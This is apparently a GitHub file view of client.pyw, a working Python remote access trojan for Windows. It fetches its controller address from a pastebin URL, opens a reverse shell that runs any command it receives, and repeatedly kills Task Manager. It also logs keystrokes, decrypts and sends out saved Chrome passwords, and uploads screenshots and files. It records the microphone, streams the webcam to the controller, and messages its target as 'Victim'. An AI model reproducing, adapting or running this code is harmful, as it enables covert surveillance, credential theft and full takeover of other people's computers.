-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathclient.pyw
333 lines (302 loc) · 11.5 KB
/
client.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
from __future__ import print_function
from shutil import copyfile
from PIL import ImageGrab
from os import getenv
import sqlite3, win32crypt, socket, subprocess, _subprocess, os, tempfile, pyaudio
import shutil, threading, win32api, pythoncom, random, wave
import numpy, sys, pyHook, shutil, cv2, time, ctypes, urllib2
micPath = tempfile.mkdtemp()
keyLog = tempfile.mkdtemp()
f_name = keyLog+"\log.txt"
def disableTaskManager():
si = subprocess.STARTUPINFO()
si.dwFlags |= _subprocess.STARTF_USESHOWWINDOW
while True:
subprocess.call("taskkill /F /IM Taskmgr.exe", startupinfo=si)
def activateMic(s, time):
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
CHUNK = 1024
RECORD_SECONDS = int(time)
WAVE_OUTPUT_FILENAME = micPath+"\\file.wav"
audio = pyaudio.PyAudio()
# start Recording
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
# stop Recording
stream.stop_stream()
stream.close()
audio.terminate()
waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
s.send("[+] finished recording")
def lockScreen():
ctypes.windll.user32.LockWorkStation()
def get_chrome_path(s):
try:
path = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login Data"
path2 = getenv("LOCALAPPDATA") + "\Google\Chrome\User Data\Default\Login2"
copyfile(path, path2)
conn = sqlite3.connect(path2)
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
chromeDump = tempfile.mkdtemp()
with open(chromeDump+'\ChromeDump.txt', 'w+') as f:
for raw in cursor.fetchall():
print('URL: '+raw[0] + '\n' + 'Username: '+raw[1] , file=f)
password = win32crypt.CryptUnprotectData(raw[2])[1]
print('Password: '+password, file=f)
print('\n', file=f)
conn.close()
os.remove(path2)
return chromeDump, True
except:
return "Chrome Doesn't exists", False
def popUp(msg,icon,title,times):
msgPath = tempfile.mkdtemp()
cmd = 'echo x=MsgBox("'+msg+'", +'+icon+', "'+title+'") > '+msgPath+'\\test.vbs && '+msgPath+'\\test.vbs'
for _ in range(int(times)):
subprocess.call(cmd, shell=True)
shutil.rmtree(msgPath)
def speak(msg):
talkPath = tempfile.mkdtemp()
with open(talkPath+'\\output.vbs', 'w') as file:
file.write('dim speechobject\n')
file.write('set speechobject=createobject("sapi.spvoice")\n')
file.write('speechobject.speak("'+msg+'")')
talk = talkPath+"\\output.vbs"
subprocess.call(talk, shell=True)
shutil.rmtree(talkPath)
def openCdDrive():
cdDrive = tempfile.mkdtemp()
with open(cdDrive+'\\open.vbs', 'w') as file:
file.write("Dim oWMP\n")
file.write("Dim colCDROMs, i\n")
file.write("Set oWMP = CreateObject(\"WMPlayer.OCX.7\")\n")
file.write("Set colCDROMs = oWMP.cdromCollection\n")
file.write("if colCDROMs.Count >= 1 then\n")
file.write("For i = 0 to colCDROMs.Count - 1\n")
file.write("colCDROMs.Item(i).Eject\n")
file.write("Next\n")
file.write("For i = 0 to colCDROMs.Count - 1\n")
file.write("colCDROMs.Item(i).Eject\n")
file.write("Next\n")
file.write("End If\n")
file.write("oWMP.close\n")
file.write("Set colCDROMs = Nothing\n")
file.write("Set oWMP = Nothing")
openDrive = cdDrive+"\\open.vbs"
subprocess.call(openDrive, shell=True)
shutil.rmtree(cdDrive)
def recWebCam(ip_address):
try:
cap = cv2.VideoCapture(1) #Capture from webcam
while True:
ret, frame = cap.read() #get image from frame
_, imgencode = cv2.imencode(".jpg", frame) #encode image into memory buffer
data = numpy.array(imgencode) #create numpy array from image encoding
stringData = data.tostring() #convert numpy array to string
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip_address, 9900))
soc.sendall(stringData)
soc.close()
except:
cap = cv2.VideoCapture(0) #Capture from webcam
while True:
ret, frame = cap.read() #get image from frame
_, imgencode = cv2.imencode(".jpg", frame) #encode image into memory buffer
data = numpy.array(imgencode) #create numpy array from image encoding
stringData = data.tostring() #convert numpy array to string
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip_address, 9900))
soc.sendall(stringData)
soc.close()
def keypressed(event):
global data
if event.Ascii == 13:
keys = '\n'
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
elif event.Ascii == 8:
keys = ' <BS> '
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
elif event.Ascii == 9:
keys = ' \t '
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
elif event.Ascii == 27:
keys = ' <ESC> '
fp = open(f_name,'a')
data = keys
fp.write(data + "\n")
fp.close()
elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24:
pass
else:
keys = chr(event.Ascii)
fp = open(f_name,'a')
data = keys
fp.write(data)
fp.close()
def environment():
resp = ''
for n in os.environ:
resp += "{0:35}: {1}\n".format(n,os.environ.get(n))
resp = resp.replace(';','\n{0:39}: '.format(""))
return resp
def startLogger():
global obj
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
def stopLogger():
obj.UnhookKeyboard()
def transfer(s,path,command):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024*1024)#1MB
while packet != '':
s.send(packet)
packet = f.read(1024*1024)
if 'grab' in command:
s.send('DONE')
elif 'screencap' in command:
s.send('captured')
elif 'getLogFile' in command:
s.send('LogSent')
elif 'chromeDump' in command:
s.send('DumpSent')
elif 'snapshot' in command:
s.send('snapSent')
elif 'getRecording' in command:
s.send('recordingSent')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
def getKeyLogFile(s, path):
transfer(s,path)
def getIpAddress():
# Create a pastebin post and paste the raw url here
response = urllib2.urlopen("""https://pastebin.com/raw/xtMtpGD8""")
data = response.read()
response.close()
info = data.split(':')
return info[0], info[1]
def connect(ip_address, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, int(port)))
while True:
command = s.recv(1024*1024)
if 'kill' in command:
command = command.split(' ')
command = 'Taskkill /IM '+command[1]+' /F'
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
elif 'terminate' in command:
return 1
elif 'stop' in command:
return 2
elif 'grab' in command:
grab,path = command.split(' ')
try:
transfer(s,path,command)
except Exception,e:
s.send ( str(e) )
pass
elif 'screencap' in command:
try:
dirpath = tempfile.mkdtemp()
ImageGrab.grab().save(dirpath+"\img.jpg", "JPEG")
transfer(s, dirpath+"\img.jpg", command)
shutil.rmtree(dirpath)
except Exception, e:
s.send(str(e))
pass
elif 'startLogger' in command:
logging = threading.Thread(target=startLogger)
logging.start()
s.send('[+] Keylogger started')
elif 'activateWebcam' in command:
webcam = threading.Thread(target=recWebCam, args=(ip_address,))
webcam.start()
elif 'stopLogger' in command:
stopLogger()
s.send('[+] Keylogger stopped')
elif 'about' in command:
response = environment()
s.send(response)
elif 'getLogFile' in command:
transfer(s, f_name, command)
shutil.rmtree(keyLog)
elif 'openDrive' in command:
openCdDrive()
s.send("[+] CD Drive Open!")
elif 'askPass' in command:
askPass(s)
elif 'chromeDump' in command:
path, success = get_chrome_path(s)
if success:
transfer(s, path+"\ChromeDump.txt", command)
shutil.rmtree(path)
else:
s.send("[!] Chrome Doesn't exists")
elif 'lockScreen' in command:
lockScreen()
s.send( "[+] Victim Screen Lock")
elif 'activateMic' in command:
call, time = command.split(' ')
threading.Thread(target=activateMic, args=[s, time]).start()
elif 'getRecording' in command:
transfer(s, micPath+"\\file.wav", command)
shutil.rmtree(micPath)
elif 'troll' in command:
call, msg, icons, title, times = command.split('--')
popUp(msg, icons, title, times)
elif 'cd' in command:
code,directory = command.split (' ')
os.chdir(directory)
s.send( "[+] CWD Is " + os.getcwd() )
elif 'speak' in command:
code, text = command.split ('--')
speak(text)
s.send( "[+] Victim's device spoke "+text)
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def run():
ip_address, port = getIpAddress()
while True:
try:
if connect(ip_address, port) == 1:
return True
if connect(ip_address, port) == 2:
return True
except:
print("Checking", ip_address, "for a connection....")
return False
def main ():
threading.Thread(target=disableTaskManager).start()
while True:
stop = run()
if stop:
break
if __name__ == "__main__":
main()